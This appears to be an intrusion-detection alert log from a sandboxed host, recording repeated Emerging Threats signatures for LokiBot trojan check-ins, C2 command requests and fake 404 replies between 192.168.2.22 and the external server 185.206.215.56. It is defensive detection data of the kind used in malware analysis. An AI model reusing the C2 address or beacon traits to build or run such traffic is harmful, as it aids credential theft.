01/05/21-19:07:01.210699	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49305	80	192.168.2.22	185.206.215.56
01/05/21-19:07:01.210699	TCP	2025381	ET TROJAN LokiBot Checkin	49305	80	192.168.2.22	185.206.215.56
01/05/21-19:07:01.210699	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49305	80	192.168.2.22	185.206.215.56
01/05/21-19:07:01.363213	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49305	185.206.215.56	192.168.2.22
01/05/21-19:07:01.575817	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49306	80	192.168.2.22	185.206.215.56
01/05/21-19:07:01.575817	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49306	80	192.168.2.22	185.206.215.56
01/05/21-19:07:01.575817	TCP	2025381	ET TROJAN LokiBot Checkin	49306	80	192.168.2.22	185.206.215.56
01/05/21-19:07:01.575817	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49306	80	192.168.2.22	185.206.215.56
01/05/21-19:07:01.750904	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49306	185.206.215.56	192.168.2.22
01/05/21-19:07:01.975553	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49307	80	192.168.2.22	185.206.215.56
01/05/21-19:07:01.975553	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49307	80	192.168.2.22	185.206.215.56
01/05/21-19:07:01.975553	TCP	2025381	ET TROJAN LokiBot Checkin	49307	80	192.168.2.22	185.206.215.56
01/05/21-19:07:01.975553	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49307	80	192.168.2.22	185.206.215.56
01/05/21-19:07:02.132845	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49307	185.206.215.56	192.168.2.22
01/05/21-19:07:02.334169	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49308	80	192.168.2.22	185.206.215.56
01/05/21-19:07:02.334169	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49308	80	192.168.2.22	185.206.215.56
01/05/21-19:07:02.334169	TCP	2025381	ET TROJAN LokiBot Checkin	49308	80	192.168.2.22	185.206.215.56
01/05/21-19:07:02.334169	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49308	80	192.168.2.22	185.206.215.56
01/05/21-19:07:02.488881	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49308	185.206.215.56	192.168.2.22
01/05/21-19:07:02.695433	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49309	80	192.168.2.22	185.206.215.56
01/05/21-19:07:02.695433	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49309	80	192.168.2.22	185.206.215.56
01/05/21-19:07:02.695433	TCP	2025381	ET TROJAN LokiBot Checkin	49309	80	192.168.2.22	185.206.215.56
01/05/21-19:07:02.695433	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49309	80	192.168.2.22	185.206.215.56
01/05/21-19:07:02.863488	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49309	185.206.215.56	192.168.2.22
01/05/21-19:07:03.081979	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49310	80	192.168.2.22	185.206.215.56
01/05/21-19:07:03.081979	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49310	80	192.168.2.22	185.206.215.56
01/05/21-19:07:03.081979	TCP	2025381	ET TROJAN LokiBot Checkin	49310	80	192.168.2.22	185.206.215.56
01/05/21-19:07:03.081979	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49310	80	192.168.2.22	185.206.215.56
01/05/21-19:07:03.240915	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49310	185.206.215.56	192.168.2.22
01/05/21-19:07:03.437460	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49311	80	192.168.2.22	185.206.215.56
01/05/21-19:07:03.437460	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49311	80	192.168.2.22	185.206.215.56
01/05/21-19:07:03.437460	TCP	2025381	ET TROJAN LokiBot Checkin	49311	80	192.168.2.22	185.206.215.56
01/05/21-19:07:03.437460	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49311	80	192.168.2.22	185.206.215.56
01/05/21-19:07:03.601073	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49311	185.206.215.56	192.168.2.22
01/05/21-19:07:03.817487	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49312	80	192.168.2.22	185.206.215.56
01/05/21-19:07:03.817487	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49312	80	192.168.2.22	185.206.215.56
01/05/21-19:07:03.817487	TCP	2025381	ET TROJAN LokiBot Checkin	49312	80	192.168.2.22	185.206.215.56
01/05/21-19:07:03.817487	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49312	80	192.168.2.22	185.206.215.56
01/05/21-19:07:03.979353	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49312	185.206.215.56	192.168.2.22
01/05/21-19:07:04.190227	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49313	80	192.168.2.22	185.206.215.56
01/05/21-19:07:04.190227	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49313	80	192.168.2.22	185.206.215.56
01/05/21-19:07:04.190227	TCP	2025381	ET TROJAN LokiBot Checkin	49313	80	192.168.2.22	185.206.215.56
01/05/21-19:07:04.190227	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49313	80	192.168.2.22	185.206.215.56
01/05/21-19:07:04.351678	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49313	185.206.215.56	192.168.2.22
01/05/21-19:07:04.554889	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49314	80	192.168.2.22	185.206.215.56
01/05/21-19:07:04.554889	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49314	80	192.168.2.22	185.206.215.56
01/05/21-19:07:04.554889	TCP	2025381	ET TROJAN LokiBot Checkin	49314	80	192.168.2.22	185.206.215.56
01/05/21-19:07:04.554889	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49314	80	192.168.2.22	185.206.215.56
01/05/21-19:07:04.731423	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49314	185.206.215.56	192.168.2.22
01/05/21-19:07:04.946051	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49315	80	192.168.2.22	185.206.215.56
01/05/21-19:07:04.946051	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49315	80	192.168.2.22	185.206.215.56
01/05/21-19:07:04.946051	TCP	2025381	ET TROJAN LokiBot Checkin	49315	80	192.168.2.22	185.206.215.56
01/05/21-19:07:04.946051	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49315	80	192.168.2.22	185.206.215.56
01/05/21-19:07:05.124758	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49315	185.206.215.56	192.168.2.22
01/05/21-19:07:05.334400	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49316	80	192.168.2.22	185.206.215.56
01/05/21-19:07:05.334400	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49316	80	192.168.2.22	185.206.215.56
01/05/21-19:07:05.334400	TCP	2025381	ET TROJAN LokiBot Checkin	49316	80	192.168.2.22	185.206.215.56
01/05/21-19:07:05.334400	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49316	80	192.168.2.22	185.206.215.56
01/05/21-19:07:05.505004	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49316	185.206.215.56	192.168.2.22
01/05/21-19:07:05.711231	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49317	80	192.168.2.22	185.206.215.56
01/05/21-19:07:05.711231	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49317	80	192.168.2.22	185.206.215.56
01/05/21-19:07:05.711231	TCP	2025381	ET TROJAN LokiBot Checkin	49317	80	192.168.2.22	185.206.215.56
01/05/21-19:07:05.711231	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49317	80	192.168.2.22	185.206.215.56
01/05/21-19:07:05.862498	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49317	185.206.215.56	192.168.2.22
01/05/21-19:07:06.056308	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49318	80	192.168.2.22	185.206.215.56
01/05/21-19:07:06.056308	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49318	80	192.168.2.22	185.206.215.56
01/05/21-19:07:06.056308	TCP	2025381	ET TROJAN LokiBot Checkin	49318	80	192.168.2.22	185.206.215.56
01/05/21-19:07:06.056308	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49318	80	192.168.2.22	185.206.215.56
01/05/21-19:07:06.254066	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49318	185.206.215.56	192.168.2.22
01/05/21-19:07:06.456725	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49319	80	192.168.2.22	185.206.215.56
01/05/21-19:07:06.456725	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49319	80	192.168.2.22	185.206.215.56
01/05/21-19:07:06.456725	TCP	2025381	ET TROJAN LokiBot Checkin	49319	80	192.168.2.22	185.206.215.56
01/05/21-19:07:06.456725	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49319	80	192.168.2.22	185.206.215.56
01/05/21-19:07:06.617598	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49319	185.206.215.56	192.168.2.22
01/05/21-19:07:06.823587	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49320	80	192.168.2.22	185.206.215.56
01/05/21-19:07:06.823587	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49320	80	192.168.2.22	185.206.215.56
01/05/21-19:07:06.823587	TCP	2025381	ET TROJAN LokiBot Checkin	49320	80	192.168.2.22	185.206.215.56
01/05/21-19:07:06.823587	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49320	80	192.168.2.22	185.206.215.56
01/05/21-19:07:06.974484	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49320	185.206.215.56	192.168.2.22
01/05/21-19:07:07.184056	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49321	80	192.168.2.22	185.206.215.56
01/05/21-19:07:07.184056	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49321	80	192.168.2.22	185.206.215.56
01/05/21-19:07:07.184056	TCP	2025381	ET TROJAN LokiBot Checkin	49321	80	192.168.2.22	185.206.215.56
01/05/21-19:07:07.184056	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49321	80	192.168.2.22	185.206.215.56
01/05/21-19:07:07.346312	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49321	185.206.215.56	192.168.2.22
01/05/21-19:07:07.553003	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49322	80	192.168.2.22	185.206.215.56
01/05/21-19:07:07.553003	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49322	80	192.168.2.22	185.206.215.56
01/05/21-19:07:07.553003	TCP	2025381	ET TROJAN LokiBot Checkin	49322	80	192.168.2.22	185.206.215.56
01/05/21-19:07:07.553003	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49322	80	192.168.2.22	185.206.215.56
01/05/21-19:07:07.742274	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49322	185.206.215.56	192.168.2.22
01/05/21-19:07:07.954109	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49323	80	192.168.2.22	185.206.215.56
01/05/21-19:07:07.954109	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49323	80	192.168.2.22	185.206.215.56
01/05/21-19:07:07.954109	TCP	2025381	ET TROJAN LokiBot Checkin	49323	80	192.168.2.22	185.206.215.56
01/05/21-19:07:07.954109	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49323	80	192.168.2.22	185.206.215.56
01/05/21-19:07:08.126146	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49323	185.206.215.56	192.168.2.22
01/05/21-19:07:08.324968	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49324	80	192.168.2.22	185.206.215.56
01/05/21-19:07:08.324968	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49324	80	192.168.2.22	185.206.215.56
01/05/21-19:07:08.324968	TCP	2025381	ET TROJAN LokiBot Checkin	49324	80	192.168.2.22	185.206.215.56
01/05/21-19:07:08.324968	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49324	80	192.168.2.22	185.206.215.56
01/05/21-19:07:08.523216	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49324	185.206.215.56	192.168.2.22
01/05/21-19:07:08.752322	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49325	80	192.168.2.22	185.206.215.56
01/05/21-19:07:08.752322	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49325	80	192.168.2.22	185.206.215.56
01/05/21-19:07:08.752322	TCP	2025381	ET TROJAN LokiBot Checkin	49325	80	192.168.2.22	185.206.215.56
01/05/21-19:07:08.752322	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49325	80	192.168.2.22	185.206.215.56
01/05/21-19:07:08.911141	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49325	185.206.215.56	192.168.2.22
01/05/21-19:07:09.107951	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49326	80	192.168.2.22	185.206.215.56
01/05/21-19:07:09.107951	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49326	80	192.168.2.22	185.206.215.56
01/05/21-19:07:09.107951	TCP	2025381	ET TROJAN LokiBot Checkin	49326	80	192.168.2.22	185.206.215.56
01/05/21-19:07:09.107951	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49326	80	192.168.2.22	185.206.215.56
01/05/21-19:07:09.274146	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49326	185.206.215.56	192.168.2.22
01/05/21-19:07:09.490262	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49327	80	192.168.2.22	185.206.215.56
01/05/21-19:07:09.490262	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49327	80	192.168.2.22	185.206.215.56
01/05/21-19:07:09.490262	TCP	2025381	ET TROJAN LokiBot Checkin	49327	80	192.168.2.22	185.206.215.56
01/05/21-19:07:09.490262	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49327	80	192.168.2.22	185.206.215.56
01/05/21-19:07:09.668226	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49327	185.206.215.56	192.168.2.22
01/05/21-19:07:09.873125	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49328	80	192.168.2.22	185.206.215.56
01/05/21-19:07:09.873125	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49328	80	192.168.2.22	185.206.215.56
01/05/21-19:07:09.873125	TCP	2025381	ET TROJAN LokiBot Checkin	49328	80	192.168.2.22	185.206.215.56
01/05/21-19:07:09.873125	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49328	80	192.168.2.22	185.206.215.56
01/05/21-19:07:10.024941	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49328	185.206.215.56	192.168.2.22
01/05/21-19:07:10.232858	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49329	80	192.168.2.22	185.206.215.56
01/05/21-19:07:10.232858	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49329	80	192.168.2.22	185.206.215.56
01/05/21-19:07:10.232858	TCP	2025381	ET TROJAN LokiBot Checkin	49329	80	192.168.2.22	185.206.215.56
01/05/21-19:07:10.232858	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49329	80	192.168.2.22	185.206.215.56
01/05/21-19:07:10.470073	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49329	185.206.215.56	192.168.2.22
01/05/21-19:07:10.663115	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49330	80	192.168.2.22	185.206.215.56
01/05/21-19:07:10.663115	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49330	80	192.168.2.22	185.206.215.56
01/05/21-19:07:10.663115	TCP	2025381	ET TROJAN LokiBot Checkin	49330	80	192.168.2.22	185.206.215.56
01/05/21-19:07:10.663115	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49330	80	192.168.2.22	185.206.215.56
01/05/21-19:07:10.820501	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49330	185.206.215.56	192.168.2.22
01/05/21-19:07:11.027929	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49331	80	192.168.2.22	185.206.215.56
01/05/21-19:07:11.027929	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49331	80	192.168.2.22	185.206.215.56
01/05/21-19:07:11.027929	TCP	2025381	ET TROJAN LokiBot Checkin	49331	80	192.168.2.22	185.206.215.56
01/05/21-19:07:11.027929	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49331	80	192.168.2.22	185.206.215.56
01/05/21-19:07:11.198428	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49331	185.206.215.56	192.168.2.22
01/05/21-19:07:11.409139	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49332	80	192.168.2.22	185.206.215.56
01/05/21-19:07:11.409139	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49332	80	192.168.2.22	185.206.215.56
01/05/21-19:07:11.409139	TCP	2025381	ET TROJAN LokiBot Checkin	49332	80	192.168.2.22	185.206.215.56
01/05/21-19:07:11.409139	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49332	80	192.168.2.22	185.206.215.56
01/05/21-19:07:11.568467	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49332	185.206.215.56	192.168.2.22
01/05/21-19:07:11.779641	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49333	80	192.168.2.22	185.206.215.56
01/05/21-19:07:11.779641	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49333	80	192.168.2.22	185.206.215.56
01/05/21-19:07:11.779641	TCP	2025381	ET TROJAN LokiBot Checkin	49333	80	192.168.2.22	185.206.215.56
01/05/21-19:07:11.779641	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49333	80	192.168.2.22	185.206.215.56
01/05/21-19:07:11.948839	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49333	185.206.215.56	192.168.2.22
01/05/21-19:07:12.151046	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49334	80	192.168.2.22	185.206.215.56
01/05/21-19:07:12.151046	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49334	80	192.168.2.22	185.206.215.56
01/05/21-19:07:12.151046	TCP	2025381	ET TROJAN LokiBot Checkin	49334	80	192.168.2.22	185.206.215.56
01/05/21-19:07:12.151046	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49334	80	192.168.2.22	185.206.215.56
01/05/21-19:07:12.322356	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49334	185.206.215.56	192.168.2.22
01/05/21-19:07:12.528628	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49335	80	192.168.2.22	185.206.215.56
01/05/21-19:07:12.528628	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49335	80	192.168.2.22	185.206.215.56
01/05/21-19:07:12.528628	TCP	2025381	ET TROJAN LokiBot Checkin	49335	80	192.168.2.22	185.206.215.56
01/05/21-19:07:12.528628	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49335	80	192.168.2.22	185.206.215.56
01/05/21-19:07:12.702702	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49335	185.206.215.56	192.168.2.22
01/05/21-19:07:12.913605	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49336	80	192.168.2.22	185.206.215.56
01/05/21-19:07:12.913605	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49336	80	192.168.2.22	185.206.215.56
01/05/21-19:07:12.913605	TCP	2025381	ET TROJAN LokiBot Checkin	49336	80	192.168.2.22	185.206.215.56
01/05/21-19:07:12.913605	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49336	80	192.168.2.22	185.206.215.56
01/05/21-19:07:13.081152	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49336	185.206.215.56	192.168.2.22
01/05/21-19:07:13.293357	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49337	80	192.168.2.22	185.206.215.56
01/05/21-19:07:13.293357	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49337	80	192.168.2.22	185.206.215.56
01/05/21-19:07:13.293357	TCP	2025381	ET TROJAN LokiBot Checkin	49337	80	192.168.2.22	185.206.215.56
01/05/21-19:07:13.293357	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49337	80	192.168.2.22	185.206.215.56
01/05/21-19:07:13.445018	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49337	185.206.215.56	192.168.2.22
01/05/21-19:07:13.661854	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49338	80	192.168.2.22	185.206.215.56
01/05/21-19:07:13.661854	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49338	80	192.168.2.22	185.206.215.56
01/05/21-19:07:13.661854	TCP	2025381	ET TROJAN LokiBot Checkin	49338	80	192.168.2.22	185.206.215.56
01/05/21-19:07:13.661854	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49338	80	192.168.2.22	185.206.215.56
01/05/21-19:07:13.836048	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49338	185.206.215.56	192.168.2.22
01/05/21-19:07:14.047995	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49339	80	192.168.2.22	185.206.215.56
01/05/21-19:07:14.047995	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49339	80	192.168.2.22	185.206.215.56
01/05/21-19:07:14.047995	TCP	2025381	ET TROJAN LokiBot Checkin	49339	80	192.168.2.22	185.206.215.56
01/05/21-19:07:14.047995	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49339	80	192.168.2.22	185.206.215.56
01/05/21-19:07:14.227580	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49339	185.206.215.56	192.168.2.22
01/05/21-19:07:14.442937	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49340	80	192.168.2.22	185.206.215.56
01/05/21-19:07:14.442937	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49340	80	192.168.2.22	185.206.215.56
01/05/21-19:07:14.442937	TCP	2025381	ET TROJAN LokiBot Checkin	49340	80	192.168.2.22	185.206.215.56
01/05/21-19:07:14.442937	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49340	80	192.168.2.22	185.206.215.56
01/05/21-19:07:14.596332	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49340	185.206.215.56	192.168.2.22
01/05/21-19:07:14.806537	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49341	80	192.168.2.22	185.206.215.56
01/05/21-19:07:14.806537	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49341	80	192.168.2.22	185.206.215.56
01/05/21-19:07:14.806537	TCP	2025381	ET TROJAN LokiBot Checkin	49341	80	192.168.2.22	185.206.215.56
01/05/21-19:07:14.806537	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49341	80	192.168.2.22	185.206.215.56
01/05/21-19:07:14.974222	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49341	185.206.215.56	192.168.2.22
01/05/21-19:07:15.187360	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49342	80	192.168.2.22	185.206.215.56
01/05/21-19:07:15.187360	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49342	80	192.168.2.22	185.206.215.56
01/05/21-19:07:15.187360	TCP	2025381	ET TROJAN LokiBot Checkin	49342	80	192.168.2.22	185.206.215.56
01/05/21-19:07:15.187360	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49342	80	192.168.2.22	185.206.215.56
01/05/21-19:07:15.351310	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49342	185.206.215.56	192.168.2.22
01/05/21-19:07:15.557295	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49343	80	192.168.2.22	185.206.215.56
01/05/21-19:07:15.557295	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49343	80	192.168.2.22	185.206.215.56
01/05/21-19:07:15.557295	TCP	2025381	ET TROJAN LokiBot Checkin	49343	80	192.168.2.22	185.206.215.56
01/05/21-19:07:15.557295	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49343	80	192.168.2.22	185.206.215.56
01/05/21-19:07:15.731776	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49343	185.206.215.56	192.168.2.22
01/05/21-19:07:15.953688	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49344	80	192.168.2.22	185.206.215.56
01/05/21-19:07:15.953688	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49344	80	192.168.2.22	185.206.215.56
01/05/21-19:07:15.953688	TCP	2025381	ET TROJAN LokiBot Checkin	49344	80	192.168.2.22	185.206.215.56
01/05/21-19:07:15.953688	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49344	80	192.168.2.22	185.206.215.56
01/05/21-19:07:16.112186	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49344	185.206.215.56	192.168.2.22
01/05/21-19:07:16.321602	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49345	80	192.168.2.22	185.206.215.56
01/05/21-19:07:16.321602	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49345	80	192.168.2.22	185.206.215.56
01/05/21-19:07:16.321602	TCP	2025381	ET TROJAN LokiBot Checkin	49345	80	192.168.2.22	185.206.215.56
01/05/21-19:07:16.321602	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49345	80	192.168.2.22	185.206.215.56
01/05/21-19:07:16.490419	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49345	185.206.215.56	192.168.2.22
01/05/21-19:07:16.691140	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49346	80	192.168.2.22	185.206.215.56
01/05/21-19:07:16.691140	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49346	80	192.168.2.22	185.206.215.56
01/05/21-19:07:16.691140	TCP	2025381	ET TROJAN LokiBot Checkin	49346	80	192.168.2.22	185.206.215.56
01/05/21-19:07:16.691140	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49346	80	192.168.2.22	185.206.215.56
01/05/21-19:07:16.849536	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49346	185.206.215.56	192.168.2.22
01/05/21-19:07:17.070972	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49347	80	192.168.2.22	185.206.215.56
01/05/21-19:07:17.070972	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49347	80	192.168.2.22	185.206.215.56
01/05/21-19:07:17.070972	TCP	2025381	ET TROJAN LokiBot Checkin	49347	80	192.168.2.22	185.206.215.56
01/05/21-19:07:17.070972	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49347	80	192.168.2.22	185.206.215.56
01/05/21-19:07:17.241789	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49347	185.206.215.56	192.168.2.22
01/05/21-19:07:17.441718	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49348	80	192.168.2.22	185.206.215.56
01/05/21-19:07:17.441718	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49348	80	192.168.2.22	185.206.215.56
01/05/21-19:07:17.441718	TCP	2025381	ET TROJAN LokiBot Checkin	49348	80	192.168.2.22	185.206.215.56
01/05/21-19:07:17.441718	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49348	80	192.168.2.22	185.206.215.56
01/05/21-19:07:17.595691	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49348	185.206.215.56	192.168.2.22
01/05/21-19:07:17.814658	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49349	80	192.168.2.22	185.206.215.56
